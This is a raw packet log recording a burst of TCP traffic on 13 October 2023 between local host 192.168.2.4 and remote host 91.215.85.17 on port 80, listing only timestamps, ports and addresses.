Oct 13, 2023 16:06:20.008210897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008249998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008270025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008306980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008343935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008383989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008460999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008500099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008538008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008589029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008625984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008663893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008743048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008783102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008804083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008841038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008889914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008927107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008996964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009035110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009071112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009111881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009176016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009215117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009249926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009289026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009346962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009387016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009422064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009459019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009533882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009581089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009594917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009633064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009695053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009736061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009799957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009840965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009888887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009931087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.009952068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.009995937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010072947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010116100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010176897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010217905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010256052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010308981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010344982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010397911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010446072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010488987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010528088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010567904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010622978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010660887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010685921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010729074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010772943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010813951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010850906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010889053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.010948896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.010987997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011054039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011090994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011128902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011169910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011177063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011214972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011292934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011332989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011368990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011405945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011440039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011478901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011538982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011578083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011637926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011678934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011729002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011765957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011801958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011840105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011890888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.011933088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.011972904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012013912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012049913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012093067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012136936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012178898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012212992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012252092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012305021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012350082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012366056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012403965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012486935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012531996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012557983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012598991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012622118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012664080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012700081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012737989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012789011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012835979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012871027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012909889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.012933016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.012972116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013005972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013046026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013124943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013164043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013214111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013256073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013339996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013376951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013519049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013556004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013583899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013621092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013647079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013703108 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013729095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013770103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013844013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013881922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013912916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.013948917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.013978958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.014019012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.014112949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.014148951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.014178038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.014213085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.014288902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.014327049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.014355898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.014393091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.014446020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.014482975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.014511108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.014549971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.014576912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.014612913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.014653921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.014691114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.014940023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015010118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015031099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015070915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015113115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015150070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015191078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015230894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015266895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015305996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015333891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015372038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015414000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015450954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015580893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015619040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015686035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015727043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015738010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015780926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015808105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015851974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.015921116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.015960932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016028881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016067982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016133070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016172886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016217947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016257048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016314983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016352892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016392946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016429901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016541958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016588926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016627073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016663074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016731024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016772032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016809940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016853094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.016930103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.016973972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017024994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017062902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017065048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017103910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017190933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017235041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017298937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017338037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017368078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017409086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017457008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017497063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017579079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017618895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017662048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017705917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017784119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017827034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017854929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017891884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.017920017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.017956972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018054008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018094063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018120050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018161058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018199921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018239021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018280983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018318892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018389940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018429041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018498898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018553019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018573999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018610954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018639088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018677950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018707037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018743992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018786907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018825054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018915892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.018954039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.018981934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019026995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019052982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019088984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019201040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019242048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019265890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019306898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019335032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019373894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019454956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019493103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019536972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019575119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019609928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019644976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019736052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019779921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019908905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.019953966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.019999027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020039082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.020083904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020123959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.020198107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020236015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.020256996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020311117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.020354986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020391941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.020550966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020593882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.020663977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020701885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.020752907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020792007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.020854950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020894051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.020946026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.020982981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021003962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021040916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021136045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021176100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021203041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021244049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021255970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021294117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021370888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021405935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021553993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021593094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021615982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021653891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021694899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021733999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021759987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021795034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021846056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021884918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.021929979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.021969080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022038937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022078037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022120953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022157907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022198915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022238016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022280931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022319078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022384882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022424936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022475958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022514105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022547007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022587061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022629023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022667885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022737026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022774935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022803068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022840023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022917986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.022958994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.022985935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.023024082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.023091078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.023128033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.023169994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.023209095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.023236990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.023273945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.023320913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.023365974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.023444891 CEST	80	49762	91.215.85.17	192.168.2.4
